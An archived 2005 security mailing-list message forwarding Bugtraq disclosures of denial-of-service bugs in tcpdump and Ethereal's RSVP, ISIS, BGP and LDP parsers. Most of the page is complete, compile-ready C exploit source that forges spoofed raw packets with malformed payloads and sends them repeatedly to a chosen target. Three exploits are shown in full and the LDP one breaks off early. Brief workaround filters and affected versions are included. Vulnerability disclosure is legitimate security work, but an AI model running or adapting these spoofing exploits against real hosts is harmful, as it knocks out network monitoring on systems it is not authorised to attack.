Skip to Content.
Sympa Menu

sm-security - [SM-Security] [Fwd: tcpdump(/ethereal)[]: (RSVP) rsvp_print() infinite loop DOS.]

sm-security AT lists.ibiblio.org

Subject: Security bugs are reported here via bugzilla

List archive

Chronological Thread  
  • From: Thomas Houssin <thomas.houssin AT gmail.com>
  • To: sm-security AT lists.ibiblio.org
  • Subject: [SM-Security] [Fwd: tcpdump(/ethereal)[]: (RSVP) rsvp_print() infinite loop DOS.]
  • Date: Wed, 27 Apr 2005 02:29:38 +0200

Two messages, about DoS on tcpdump and Ethereal. I didn't find anything
on vendor pages, so let's wait and see...

--
Thomas Houssin

Security Team Lead : Source Mage GNU/Linux http://www.sourcemage.org
Key fingerprint = 3CB8 3FC4 840D B272 E623 BCB8 54DB F4E3 4240 4C36
http://pgp.mit.edu:11371/pks/lookup?op=get&search=0x42404C36


--- Begin Message ---
  • From: Vade 79 <v9 AT fakehalo.us>
  • To: bugtraq AT securityfocus.com
  • Subject: tcpdump(/ethereal)[]: (RSVP) rsvp_print() infinite loop DOS.
  • Date: 26 Apr 2005 10:01:40 -0000


(i made a second message for this because it also effects ethereal,
both tcpdump and ethereal are patched in the current cvs/svn versions)

(tcpdump) workaround:
# tcpdump ip proto not rsvp

original DOS exploit reference:
http://fakehalo.us/xtcpdump+ethr-rsvp-dos.c


---------------- exploit: xtcpdump+ethr-rsvp-dos.c ----------------

/*[ tcpdump(/ethereal)[]: (RSVP) rsvp_print() infinite loop DOS. ]*
* *
* by: vade79/v9 v9 AT fakehalo.us (fakehalo/realhalo) *
* *
* compile: *
* gcc xtcpdump+ethr-rsvp-dos.c -o xtcpdump+ethr-rsvp-dos *
* *
* tcpdump homepage/URL: *
* http://www.tcpdump.org *
* *
* ethereal homepage/URL: *
* http://www.ethereal.com *
* *
* effected versions: *
* tcpdump: v3.8.x/v3.9.1/CVS (didn't check below 3.8.x) *
* ethereal: v0.10.10 (appears to be fixed in 0.10.10 SVN>14167) *
* *
* tcpdump(v3.9.1 and earlier versions) contains a remote denial *
* of service vulnerability in the form of a single (RSVP) packet *
* causing an infinite loop. *
* *
* this bug also effects ethereal[v0.10.10] in a similar way, i *
* did not check ethereals source code to find out why, tcpdump *
* was the focus. (the packet usually must be clicked on, the *
* ICMP replies given back will cause it too) *
* *
* as this bug doesn't appear to be fixed in the new(3.9.x/CVS) *
* versions i'll elaborate on the problem. the bug lies in *
* rsvp_print() in the RSVP_OBJ_ERO(and RSVP_OBJ_RRO) class, *
* allowing a zero length(+4 length really) situation, causing an *
* infinite loop. *
* *
* some versions of tcpdump(depending on the platform/OS) need no *
* special command-line arguments to allow this to happen, *
* however most need the "-v" argument. *
******************************************************************/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <signal.h>
#include <time.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <netdb.h>
#ifdef _USE_ARPA
#include <arpa/inet.h>
#endif

/* doesn't seem to be standardized, so... */
#if defined(__BYTE_ORDER) && !defined(BYTE_ORDER)
#define BYTE_ORDER __BYTE_ORDER
#endif
#if defined(__BIG_ENDIAN) && !defined(BIG_ENDIAN)
#define BIG_ENDIAN __BIG_ENDIAN
#endif
#if defined(BYTE_ORDER) && defined(BIG_ENDIAN)
#if BYTE_ORDER == BIG_ENDIAN
#define _USE_BIG_ENDIAN
#endif
#endif

#define DFL_AMOUNT 5

/* avoid platform-specific header madness. */
/* (just plucked out of header files) */
struct iph{
#ifdef _USE_BIG_ENDIAN
unsigned char version:4,ihl:4;
#else
unsigned char ihl:4,version:4;
#endif
unsigned char tos;
unsigned short tot_len;
unsigned short id;
unsigned short frag_off;
unsigned char ttl;
unsigned char protocol;
unsigned short check;
unsigned int saddr;
unsigned int daddr;
};
struct rsvph{
unsigned char ver_flags;
unsigned char type;
unsigned short check;
unsigned char ttl;
unsigned char reserved;
unsigned short len;
};
struct sumh{
unsigned int saddr;
unsigned int daddr;
unsigned char fill;
unsigned char protocol;
unsigned short len;
};

/* malformed RSVP data. (the bug) */
static char payload[]=
"\x00\x08\x14\x01\x03\x00\x00\x00"
/* not needed for tcpdump, but this breaks ethereal. */
"\x00\x00\x00\x00";

/* prototypes. (and sig_alarm) */
void rsvp_spoof(unsigned int,unsigned int);
unsigned short in_cksum(unsigned short *,signed int);
unsigned int getip(char *);
void printe(char *,signed char);
void sig_alarm(){printe("alarm/timeout hit.",1);}

/* begin. */
int main(int argc,char **argv) {
unsigned char nospoof=0;
unsigned int amt=DFL_AMOUNT;
unsigned int daddr=0,saddr=0;
printf("[*] tcpdump(/ethereal)[]: (RSVP) rsvp_print() infinite loop "
"DOS.\n[*] by: vade79/v9 v9 AT fakehalo.us (fakehalo/realhalo)\n\n");
if(argc<2){
printf("[*] syntax: %s <dst host> [src host(0=random)] [amount]\n",
argv[0]);
exit(1);
}
if(!(daddr=getip(argv[1])))
printe("invalid destination host/ip.",1);
if(argc>2)saddr=getip(argv[2]);
if(argc>3)amt=atoi(argv[3]);
if(!amt)printe("no packets?",1);
printf("[*] destination\t: %s\n",argv[1]);
if(!nospoof)
printf("[*] source\t: %s\n",(saddr?argv[2]:"<random>"));
printf("[*] amount\t: %u\n\n",amt);
printf("[+] sending(packet = .): ");
fflush(stdout);
while(amt--){
/* spice things up. */
srandom(time(0)+amt);
rsvp_spoof(daddr,saddr);
printf(".");
fflush(stdout);
usleep(50000);
}
printf("\n\n[*] done.\n");
fflush(stdout);
exit(0);
}
/* (spoofed) generates and sends a (RSVP) ip packet. */
void rsvp_spoof(unsigned int daddr,unsigned int saddr){
signed int sock=0,on=1;
unsigned int psize=0;
char *p,*s;
struct sockaddr_in sa;
struct iph ip;
struct rsvph rsvp;
struct sumh sum;
/* create raw (rsvp) socket. */
if((sock=socket(AF_INET,SOCK_RAW,IPPROTO_RSVP))<0)
printe("could not allocate raw socket.",1);
/* allow (on some systems) for the user-supplied ip header. */
#ifdef IP_HDRINCL
if(setsockopt(sock,IPPROTO_IP,IP_HDRINCL,(char *)&on,sizeof(on)))
printe("could not set IP_HDRINCL socket option.",1);
#endif
sa.sin_family=AF_INET;
sa.sin_addr.s_addr=daddr;
psize=(sizeof(struct iph)+sizeof(struct rsvph)+sizeof(payload)-1);
memset(&ip,0,sizeof(struct iph));
memset(&rsvp,0,sizeof(struct rsvph));
/* values not filled = 0, from the memset() above. */
ip.ihl=5;
ip.version=4;
ip.tot_len=htons(psize);
ip.saddr=(saddr?saddr:random()%0xffffffff);
ip.daddr=daddr;
ip.ttl=(64*(random()%2+1));
ip.protocol=IPPROTO_RSVP;
ip.frag_off=64;
rsvp.ver_flags=16; /* v1/noflags. */
rsvp.type=20; /* HELLO. */
rsvp.ttl=(64*(random()%2+1));
rsvp.len=htons(sizeof(struct rsvph)+sizeof(payload)-1);
/* needed for the ip checksum. */
sum.saddr=ip.saddr;
sum.daddr=ip.daddr;
sum.fill=0;
sum.protocol=ip.protocol;
sum.len=htons(sizeof(struct rsvph)+sizeof(payload)-1);
/* make sum/calc buffer for the rsvp checksum. (correct) */
if(!(s=(char *)malloc(sizeof(struct rsvph)+sizeof(payload)+1)))
printe("malloc() failed.",1);
memset(s,0,(sizeof(struct rsvph)+sizeof(payload)+1));
memcpy(s,&rsvp,sizeof(struct rsvph));
memcpy(s+sizeof(struct rsvph),payload,sizeof(payload)-1);
rsvp.check=in_cksum((unsigned short *)s,sizeof(struct rsvph)
+sizeof(payload)-1);
free(s);
/* make sum/calc buffer for the ip checksum. (correct) */
if(!(s=(char *)malloc(sizeof(struct iph)+1)))
printe("malloc() failed.",1);
memset(s,0,(sizeof(struct iph)+1));
memcpy(s,&ip,sizeof(struct iph));
ip.check=in_cksum((unsigned short *)s,sizeof(struct iph));
free(s);
/* put the packet together. */
if(!(p=(char *)malloc(psize+1)))
printe("malloc() failed.",1);
memset(p,0,psize);
memcpy(p,&ip,sizeof(struct iph));
memcpy(p+sizeof(struct iph),&rsvp,sizeof(struct rsvph));
memcpy(p+(sizeof(struct iph)+sizeof(struct rsvph)),
payload,sizeof(payload));
/* send the malformed (RSVP) packet. */
if(sendto(sock,p,psize,0,(struct sockaddr *)&sa,
sizeof(struct sockaddr))<psize)
printe("failed to send forged RSVP packet.",1);
free(p);
return;
}
/* standard method for creating TCP/IP checksums. */
unsigned short in_cksum(unsigned short *addr,signed int len){
unsigned short answer=0;
register unsigned short *w=addr;
register int nleft=len,sum=0;
while(nleft>1){
sum+=*w++;
nleft-=2;
}
if(nleft==1){
*(unsigned char *)(&answer)=*(unsigned char *)w;
sum+=answer;
}
sum=(sum>>16)+(sum&0xffff);
sum+=(sum>>16);
answer=~sum;
return(answer);
}
/* gets the ip from a host/ip/numeric. */
unsigned int getip(char *host){
struct hostent *t;
unsigned int s=0;
if((s=inet_addr(host))){
if((t=gethostbyname(host)))
memcpy((char *)&s,(char *)t->h_addr,sizeof(s));
}
if(s==-1)s=0;
return(s);
}
/* all-purpose error/exit function. */
void printe(char *err,signed char e){
printf("[!] %s\n",err);
if(e)exit(e);
return;
}



--- End Message ---
--- Begin Message ---
  • From: Vade 79 <v9 AT fakehalo.us>
  • To: bugtraq AT securityfocus.com
  • Subject: tcpdump[v3.8.x/v3.9.1]: ISIS, BGP, and LDP infinite loop DOS exploits.
  • Date: 26 Apr 2005 10:00:57 -0000


(everything is now patched in CVS-current, including the ISIS bug)

infinite loop DOS bugs in tcpdump:
(ISIS) isis_print() infinite loop DOS.
(BGP) RT_ROUTING_INFO infinite loop DOS.
(LDP) ldp_print() infinite loop DOS.

the ISIS bug is in 3.8.x/3.9.1/CVS. (did not check below 3.8.x)
the BGP and LDP bugs seem to be only in 3.8.x. (did not check below 3.8.x)

workaround:
# tcpdump dst port not 179 and dst port not 646 and ip proto not gre
(NOTE: this does not FULLY work-around the isis_print()
bug, but it does work-around the provided DOS exploit)

original DOS exploit reference:
http://fakehalo.us/xtcpdump-isis-dos.c
http://fakehalo.us/xtcpdump-bgp-dos.c
http://fakehalo.us/xtcpdump-ldp-dos.c


------------------- exploit: xtcpdump-isis-dos.c -------------------

/*[ tcpdump[3.8.x/3.9.1]: (ISIS) isis_print() infinite loop DOS. ]*
* *
* by: vade79/v9 v9 AT fakehalo.us (fakehalo/realhalo) *
* *
* compile: *
* gcc xtcpdump-isis-dos.c -o xtcpdump-isis-dos *
* *
* tcpdump homepage/URL: *
* http://www.tcpdump.org *
* *
* Tcpdump is a program that allows you to dump the traffic on a *
* network. It can be used to print out the headers of packets on *
* a network interface that matches a given expression. You can *
* use this tool to track down network problems, to detect "ping *
* attacks" or to monitor the network activities. *
* *
* tcpdump(v3.9.1 and earlier versions) contains a remote denial *
* of service vulnerability in the form of a single (GRE) packet *
* causing an infinite loop. the packet doesnt actually have to *
* be an GRE packet, as the function is used in isoclns_print() *
* which is used many places by tcpdump, however i went with GRE *
* because it was the first one that popped up. *
* *
* as this bug doesn't appear to be fixed in the new(3.9.x/CVS) *
* versions i'll elaborate on the problem. the bug lies in *
* isis_print()(called by isoclns_print()) in the *
* TLV_ISNEIGH_VARLEN portion of the code, be providing a zero *
* length causing an infinite loop. *
* *
* some versions of tcpdump(depending on the platform/OS) need no *
* special command-line arguments to allow this to happen, *
* however most need the "-v" argument. *
******************************************************************/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <signal.h>
#include <time.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <netdb.h>
#ifdef _USE_ARPA
#include <arpa/inet.h>
#endif

/* doesn't seem to be standardized, so... */
#if defined(__BYTE_ORDER) && !defined(BYTE_ORDER)
#define BYTE_ORDER __BYTE_ORDER
#endif
#if defined(__BIG_ENDIAN) && !defined(BIG_ENDIAN)
#define BIG_ENDIAN __BIG_ENDIAN
#endif
#if defined(BYTE_ORDER) && defined(BIG_ENDIAN)
#if BYTE_ORDER == BIG_ENDIAN
#define _USE_BIG_ENDIAN
#endif
#endif

#define DFL_AMOUNT 5

/* avoid platform-specific header madness. */
/* (just plucked out of header files) */
struct iph{
#ifdef _USE_BIG_ENDIAN
unsigned char version:4,ihl:4;
#else
unsigned char ihl:4,version:4;
#endif
unsigned char tos;
unsigned short tot_len;
unsigned short id;
unsigned short frag_off;
unsigned char ttl;
unsigned char protocol;
unsigned short check;
unsigned int saddr;
unsigned int daddr;
};
struct greh{
#ifdef _USE_BIG_ENDIAN
u_int8_t check:1,routing:1,key:1,seq:1,strict:1,recur:3;
u_int8_t flags:5,version:3;
#else
u_int8_t recur:3,strict:1,seq:1,key:1,routing:1,check:1;
u_int8_t version:3,flags:5;
#endif
u_int16_t protocol;
};
struct sumh{
unsigned int saddr;
unsigned int daddr;
unsigned char fill;
unsigned char protocol;
unsigned short len;
};

/* malformed ISIS data. (the bug) */
static char payload[]=
"\x83\x1b\x01\x06\x12\x01\xff\x07\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\x01\x07\x00\x00";

/* prototypes. (and sig_alarm) */
void gre_spoof(unsigned int,unsigned int);
unsigned short in_cksum(unsigned short *,signed int);
unsigned int getip(char *);
void printe(char *,signed char);
void sig_alarm(){printe("alarm/timeout hit.",1);}

/* begin. */
int main(int argc,char **argv) {
unsigned char nospoof=0;
unsigned int amt=DFL_AMOUNT;
unsigned int daddr=0,saddr=0;
printf("[*] tcpdump[3.8.x/3.9.1]: (ISIS) isis_print() infinite loop "
"DOS.\n[*] by: vade79/v9 v9 AT fakehalo.us (fakehalo/realhalo)\n\n");
if(argc<2){
printf("[*] syntax: %s <dst host> [src host(0=random)] [amount]\n",
argv[0]);
exit(1);
}
if(!(daddr=getip(argv[1])))
printe("invalid destination host/ip.",1);
if(argc>2)saddr=getip(argv[2]);
if(argc>3)amt=atoi(argv[3]);
if(!amt)printe("no packets?",1);
printf("[*] destination\t: %s\n",argv[1]);
if(!nospoof)
printf("[*] source\t: %s\n",(saddr?argv[2]:"<random>"));
printf("[*] amount\t: %u\n\n",amt);
printf("[+] sending(packet = .): ");
fflush(stdout);
while(amt--){
/* spice things up. */
srandom(time(0)+amt);
gre_spoof(daddr,saddr);
printf(".");
fflush(stdout);
usleep(50000);
}
printf("\n\n[*] done.\n");
fflush(stdout);
exit(0);
}
/* (spoofed) generates and sends a (GRE) ip packet. */
void gre_spoof(unsigned int daddr,unsigned int saddr){
signed int sock=0,on=1;
unsigned int psize=0;
char *p,*s;
struct sockaddr_in sa;
struct iph ip;
struct greh gre;
struct sumh sum;
/* create raw (GRE) socket. */
if((sock=socket(AF_INET,SOCK_RAW,IPPROTO_GRE))<0)
printe("could not allocate raw socket.",1);
/* allow (on some systems) for the user-supplied ip header. */
#ifdef IP_HDRINCL
if(setsockopt(sock,IPPROTO_IP,IP_HDRINCL,(char *)&on,sizeof(on)))
printe("could not set IP_HDRINCL socket option.",1);
#endif
sa.sin_family=AF_INET;
sa.sin_addr.s_addr=daddr;
psize=(sizeof(struct iph)+sizeof(struct greh)+sizeof(payload)-1);
memset(&ip,0,sizeof(struct iph));
memset(&gre,0,sizeof(struct greh));
/* values not filled = 0, from the memset() above. */
ip.ihl=5;
ip.version=4;
ip.tot_len=htons(psize);
ip.saddr=(saddr?saddr:random()%0xffffffff);
ip.daddr=daddr;
ip.ttl=(64*(random()%2+1));
ip.protocol=IPPROTO_GRE;
ip.frag_off=64;
/* OSI. (to isoclns_print(), then to isis_print()) */
gre.protocol=htons(254);
/* needed for the ip checksum. */
sum.saddr=ip.saddr;
sum.daddr=ip.daddr;
sum.fill=0;
sum.protocol=ip.protocol;
sum.len=htons(sizeof(struct greh)+sizeof(payload)-1);
/* make sum/calc buffer for the ip checksum. (correct) */
if(!(s=(char *)malloc(sizeof(struct iph)+1)))
printe("malloc() failed.",1);
memset(s,0,(sizeof(struct iph)+1));
memcpy(s,&ip,sizeof(struct iph));
ip.check=in_cksum((unsigned short *)s,sizeof(struct iph));
free(s);
/* put the packet together. */
if(!(p=(char *)malloc(psize+1)))
printe("malloc() failed.",1);
memset(p,0,psize);
memcpy(p,&ip,sizeof(struct iph));
memcpy(p+sizeof(struct iph),&gre,sizeof(struct greh));
memcpy(p+(sizeof(struct iph)+sizeof(struct greh)),
payload,sizeof(payload));
/* send the malformed (GRE) packet. (ISIS data) */
if(sendto(sock,p,psize,0,(struct sockaddr *)&sa,
sizeof(struct sockaddr))<psize)
printe("failed to send forged GRE packet.",1);
free(p);
return;
}
/* standard method for creating TCP/IP checksums. */
unsigned short in_cksum(unsigned short *addr,signed int len){
unsigned short answer=0;
register unsigned short *w=addr;
register int nleft=len,sum=0;
while(nleft>1){
sum+=*w++;
nleft-=2;
}
if(nleft==1){
*(unsigned char *)(&answer)=*(unsigned char *)w;
sum+=answer;
}
sum=(sum>>16)+(sum&0xffff);
sum+=(sum>>16);
answer=~sum;
return(answer);
}
/* gets the ip from a host/ip/numeric. */
unsigned int getip(char *host){
struct hostent *t;
unsigned int s=0;
if((s=inet_addr(host))){
if((t=gethostbyname(host)))
memcpy((char *)&s,(char *)t->h_addr,sizeof(s));
}
if(s==-1)s=0;
return(s);
}
/* all-purpose error/exit function. */
void printe(char *err,signed char e){
printf("[!] %s\n",err);
if(e)exit(e);
return;
}


------------------- exploit: xtcpdump-bgp-dos.c -------------------

/*[ tcpdump[3.8.x]: (BGP) RT_ROUTING_INFO infinite loop DOS. ]*****
* *
* by: vade79/v9 v9 AT fakehalo.us (fakehalo/realhalo) *
* *
* compile: *
* gcc xtcpdump-bgp-dos.c -o xtcpdump-bgp-dos *
* gcc xtcpdump-bgp-dos.c -o xtcpdump-bgp-dos -D_USE_SYN *
* *
* tcpdump homepage/URL: *
* http://www.tcpdump.org *
* *
* fix: *
* this appears to have been fixed in the alpha 3.9.x / CVS *
* versions. although i found no direct mention of the issue *
* itself being resolved, the code has been changed in a way to *
* not allow this to happen. *
* *
* Tcpdump is a program that allows you to dump the traffic on a *
* network. It can be used to print out the headers of packets on *
* a network interface that matches a given expression. You can *
* use this tool to track down network problems, to detect "ping *
* attacks" or to monitor the network activities. *
* *
* tcpdump(v3.8.3 and earlier versions) contains a remote denial *
* of service vulnerability in the form of a single (BGP) packet *
* causing an infinite loop. *
* *
* BGP is TCP, however the victim does not have to have the BGP *
* port(179) open to abuse the bug. by sending a specially *
* crafted (spoofed) TCP(ACK,PUSH) packet to port 179 you can *
* trigger the infinite loop, however it depends on if the packet *
* can make it out without being dropped. in some situations the *
* source host/ip used must be within your local subnet(or your *
* actual ip) for the (spoofed) packet to make it past your own *
* router. if for some reason you think a (invalid) TCP(SYN) *
* packet is more likely to make it out, compile with the *
* -D_USE_SYN flag. (tcpdump will parse the BGP data even if it *
* is a TCP(SYN) packet) *
* *
* some versions of tcpdump(depending on the platform/OS) need no *
* special command-line arguments to allow this to happen. *
* however most need the "-v" argument, and a some need the *
* "-s" (snaplen) set to 88(non-spoofed is around 100, with the *
* ip options) or more. *
******************************************************************/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <signal.h>
#include <time.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <netdb.h>
#ifdef _USE_ARPA
#include <arpa/inet.h>
#endif

/* doesn't seem to be standardized, so... */
#if defined(__BYTE_ORDER) && !defined(BYTE_ORDER)
#define BYTE_ORDER __BYTE_ORDER
#endif
#if defined(__BIG_ENDIAN) && !defined(BIG_ENDIAN)
#define BIG_ENDIAN __BIG_ENDIAN
#endif
#if defined(BYTE_ORDER) && defined(BIG_ENDIAN)
#if BYTE_ORDER == BIG_ENDIAN
#define _USE_BIG_ENDIAN
#endif
#endif

/* will never need to be changed. */
#define BGP_PORT 179
#define DFL_AMOUNT 5
#define TIMEOUT 10

/* avoid platform-specific header madness. */
/* (just plucked out of header files) */
struct iph{
#ifdef _USE_BIG_ENDIAN
unsigned char version:4,ihl:4;
#else
unsigned char ihl:4,version:4;
#endif
unsigned char tos;
unsigned short tot_len;
unsigned short id;
unsigned short frag_off;
unsigned char ttl;
unsigned char protocol;
unsigned short check;
unsigned int saddr;
unsigned int daddr;
};
struct tcph{
unsigned short source;
unsigned short dest;
unsigned int seq;
unsigned int ack_seq;
#ifdef _USE_BIG_ENDIAN
unsigned short doff:4,res1:4,cwr:1,ece:1,
urg:1,ack:1,psh:1,rst:1,syn:1,fin:1;
#else
unsigned short res1:4,doff:4,fin:1,syn:1,
rst:1,psh:1,ack:1,urg:1,ece:1,cwr:1;
#endif
unsigned short window;
unsigned short check;
unsigned short urg_ptr;
};
struct sumh{
unsigned int saddr;
unsigned int daddr;
unsigned char fill;
unsigned char protocol;
unsigned short len;
};

/* malformed BGP data. (the bug) */
static char payload[]=
/* shortened method. (34 bytes) */
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\x00\x13\x02\x00"
"\x01\x00\xff\x00\xff\x0e\x00\xff\x00\x01"
"\x84\x00\x00\x00";
/* original method, un-comment/swap if desired. (39 bytes) */
/* "\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff" */
/* "\xff\xff\xff\xff\xff\xff\x00\x13\x02\x00" */
/* "\x01\x00\xff\x00\xff\x0e\x00\xff\x00\x01" */
/* "\x84\x00\x00\x20\x00\x00\x00\x00\x00"; */

/* prototypes. (and sig_alarm) */
void bgp_connect(unsigned int);
void bgp_inject(unsigned int,unsigned int);
unsigned short in_cksum(unsigned short *,signed int);
unsigned int getip(char *);
void printe(char *,signed char);
void sig_alarm(){printe("alarm/timeout hit.",1);}

/* begin. */
int main(int argc,char **argv) {
unsigned char nospoof=0;
unsigned int amt=DFL_AMOUNT;
unsigned int daddr=0,saddr=0;
printf("[*] tcpdump[3.8.x]: (BGP) RT_ROUTING_INFO infinite loop "
"DOS.\n[*] by: vade79/v9 v9 AT fakehalo.us (fakehalo/realhalo)\n\n");
if(argc<2){
printf("[*] syntax: %s <dst host> [src host(0=random)] [amount]\n",
argv[0]);
printf("[*] syntax: %s <dst host> nospoof\n",argv[0]);
exit(1);
}
if(!(daddr=getip(argv[1])))
printe("invalid destination host/ip.",1);
if(argc>2){
if(strstr(argv[2],"nospoof"))nospoof=1;
else saddr=getip(argv[2]);
}
if(argc>3)amt=atoi(argv[3]);
if(nospoof){
printf("[*] target: %s\n",argv[1]);
bgp_connect(daddr);
printf("[*] done.\n");
}
else{
if(!amt)printe("no packets?",1);
printf("[*] destination\t: %s\n",argv[1]);
printf("[*] source\t: %s\n",(saddr?argv[2]:"<random>"));
printf("[*] amount\t: %u\n\n",amt);
printf("[+] sending(packet = .): ");
fflush(stdout);
while(amt--){
/* spice things up. */
srandom(time(0)+amt);
bgp_inject(daddr,saddr);
printf(".");
fflush(stdout);
usleep(50000);
}
printf("\n\n[*] done.\n");
}
fflush(stdout);
exit(0);
}
/* (non-spoofed) generic connection. (port 179 on the */
/* victim has to be open for this to work) */
void bgp_connect(unsigned int daddr){
signed int sock;
struct sockaddr_in s;
sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
s.sin_family=AF_INET;
s.sin_port=htons(BGP_PORT);
s.sin_addr.s_addr=daddr;
printf("[*] attempting to connect...\n");
signal(SIGALRM,sig_alarm);
alarm(TIMEOUT);
if(connect(sock,(struct sockaddr *)&s,sizeof(s)))
printe("(non-spoofed) BGP connection failed.",1);
alarm(0);
printf("[*] successfully connected.\n");
printf("[*] sending malformed BGP data. (%u bytes)\n",
sizeof(payload)-1);
usleep(500000);
write(sock,payload,sizeof(payload));
usleep(500000);
printf("[*] closing connection.\n\n");
close(sock);
return;
}
/* (spoofed) generates and sends an unestablished (BGP) */
/* TCP(ACK,PUSH) or TCP(SYN) packet. */
void bgp_inject(unsigned int daddr,unsigned int saddr){
signed int sock=0,on=1;
unsigned int psize=0;
char *p,*s;
struct sockaddr_in sa;
struct iph ip;
struct tcph tcp;
struct sumh sum;
/* create raw (TCP) socket. */
if((sock=socket(AF_INET,SOCK_RAW,IPPROTO_TCP))<0)
printe("could not allocate raw socket.",1);
/* allow (on some systems) for the user-supplied ip header. */
#ifdef IP_HDRINCL
if(setsockopt(sock,IPPROTO_IP,IP_HDRINCL,(char *)&on,sizeof(on)))
printe("could not set IP_HDRINCL socket option.",1);
#endif
sa.sin_family=AF_INET;
sa.sin_port=htons(BGP_PORT);
sa.sin_addr.s_addr=daddr;
psize=(sizeof(struct iph)+sizeof(struct tcph)+sizeof(payload)-1);
memset(&ip,0,sizeof(struct iph));
memset(&tcp,0,sizeof(struct tcph));
/* values not filled = 0, from the memset() above. */
ip.ihl=5;
ip.version=4;
ip.tot_len=htons(psize);
ip.id=(random()%65535);
ip.saddr=(saddr?saddr:random()%0xffffffff);
ip.daddr=daddr;
ip.ttl=(64*(random()%2+1));
ip.protocol=IPPROTO_TCP;
ip.frag_off=64;
tcp.seq=(random()%0xffffffff+1);
tcp.source=htons(random()%60000+1025);
tcp.dest=sa.sin_port;
/* passing BGP data as ip options for the syn packet method */
/* doesn't work as tcpdump doesnt process it as BGP data. */
tcp.doff=5;
#ifdef _USE_SYN
tcp.syn=1;
tcp.window=htons(65535);
#else
tcp.ack=1;
tcp.psh=1;
tcp.ack_seq=(random()%0xffffffff+1);
tcp.window=htons(4096*(random()%2+1));
#endif
/* needed for (correct) checksums. */
sum.saddr=ip.saddr;
sum.daddr=ip.daddr;
sum.fill=0;
sum.protocol=ip.protocol;
sum.len=htons(sizeof(struct tcph)+sizeof(payload)-1);
/* make sum/calc buffer for the tcp checksum. (correct) */
if(!(s=(char *)malloc(sizeof(struct sumh)+sizeof(struct tcph)
+sizeof(payload)+1)))
printe("malloc() failed.",1);
memset(s,0,(sizeof(struct sumh)+sizeof(struct tcph)
+sizeof(payload)+1));
memcpy(s,&sum,sizeof(struct sumh));
memcpy(s+sizeof(struct sumh),&tcp,sizeof(struct tcph));
memcpy(s+sizeof(struct sumh)+sizeof(struct tcph),
payload,sizeof(payload)-1);
tcp.check=in_cksum((unsigned short *)s,
sizeof(struct sumh)+sizeof(struct tcph)+sizeof(payload)-1);
free(s);
/* make sum/calc buffer for the ip checksum. (correct) */
if(!(s=(char *)malloc(sizeof(struct iph)+1)))
printe("malloc() failed.",1);
memset(s,0,(sizeof(struct iph)+1));
memcpy(s,&ip,sizeof(struct iph));
ip.check=in_cksum((unsigned short *)s,sizeof(struct iph));
free(s);
/* put the packet together. */
if(!(p=(char *)malloc(psize+1)))
printe("malloc() failed.",1);
memset(p,0,psize);
memcpy(p,&ip,sizeof(struct iph));
memcpy(p+sizeof(struct iph),&tcp,sizeof(struct tcph));
memcpy(p+(sizeof(struct iph)+sizeof(struct tcph)),
payload,sizeof(payload));
/* send the malformed BGP packet. */
if(sendto(sock,p,psize,0,(struct sockaddr *)&sa,
sizeof(struct sockaddr))<psize)
printe("failed to send forged BGP packet.",1);
free(p);
return;
}
/* standard method for creating TCP/IP checksums. */
unsigned short in_cksum(unsigned short *addr,signed int len){
unsigned short answer=0;
register unsigned short *w=addr;
register int nleft=len,sum=0;
while(nleft>1){
sum+=*w++;
nleft-=2;
}
if(nleft==1){
*(unsigned char *)(&answer)=*(unsigned char *)w;
sum+=answer;
}
sum=(sum>>16)+(sum&0xffff);
sum+=(sum>>16);
answer=~sum;
return(answer);
}
/* gets the ip from a host/ip/numeric. */
unsigned int getip(char *host){
struct hostent *t;
unsigned int s=0;
if((s=inet_addr(host))){
if((t=gethostbyname(host)))
memcpy((char *)&s,(char *)t->h_addr,sizeof(s));
}
if(s==-1)s=0;
return(s);
}
/* all-purpose error/exit function. */
void printe(char *err,signed char e){
printf("[!] %s\n",err);
if(e)exit(e);
return;
}


------------------- exploit: xtcpdump-ldp-dos.c -------------------

/*[ tcpdump[3.8.x]: (LDP) ldp_print() infinite loop DOS. ]*********
* *
* by: vade79/v9 v9 AT fakehalo.us (fakehalo/realhalo) *
* *
* compile: *
* gcc xtcpdump-ldp-dos.c -o xtcpdump-ldp-dos *
* *
* tcpdump homepage/URL: *
* http://www.tcpdump.org *
* *
* fix: *
* this appears to have been fixed in the alpha 3.9.x / CVS *
* versions. although i found no direct mention of the issue *
* itself being resolved, the code has been changed in a way to *
* not allow this to happen. *
* *
* Tcpdump is a program that allows you to dump the traffic on a *
* network. It can be used to print out the headers of packets on *
* a network interface that matches a given expression. You can *
* use this tool to track down network problems, to detect "ping *
* attacks" or to monitor the network activities. *
* *
* tcpdump(v3.8.3 and earlier versions) contains a remote denial *
* of service vulnerability in the form of a single (LDP) packet *
* causing an infinite loop. *
* *
* LDP is UDP(/TCP), so no LDP service has to actually be running *
* to abuse this issue, spoofed or not spoofed. depending on the *
* path the packet takes spoofed packets may be dropped(dropped *
* at your router most likely), in such a case non-spoofed *
* packets have the same effect, they just show your ip. *
* *
* some versions of tcpdump(depending on the platform/OS) need no *
* special command-line arguments to allow this to happen, *
* however most need the "-v" argument. *
******************************************************************/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <signal.h>
#include <time.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <netdb.h>
#ifdef _USE_ARPA
#include <arpa/inet.h>
#endif

/* doesn't seem to be standardized, so... */
#if defined(__BYTE_ORDER) && !defined(BYTE_ORDER)
#define BYTE_ORDER __BYTE_ORDER
#endif
#if defined(__BIG_ENDIAN) && !defined(BIG_ENDIAN)
#define BIG_ENDIAN __BIG_ENDIAN
#endif
#if defined(BYTE_ORDER) && defined(BIG_ENDIAN)
#if BYTE_ORDER == BIG_ENDIAN
#define _USE_BIG_ENDIAN
#endif
#endif

/* will never need to be changed. */
#define LDP_PORT 646
#define DFL_AMOUNT 5
#define TIMEOUT 10

/* avoid platform-specific header madness. */
/* (just plucked out of header files) */
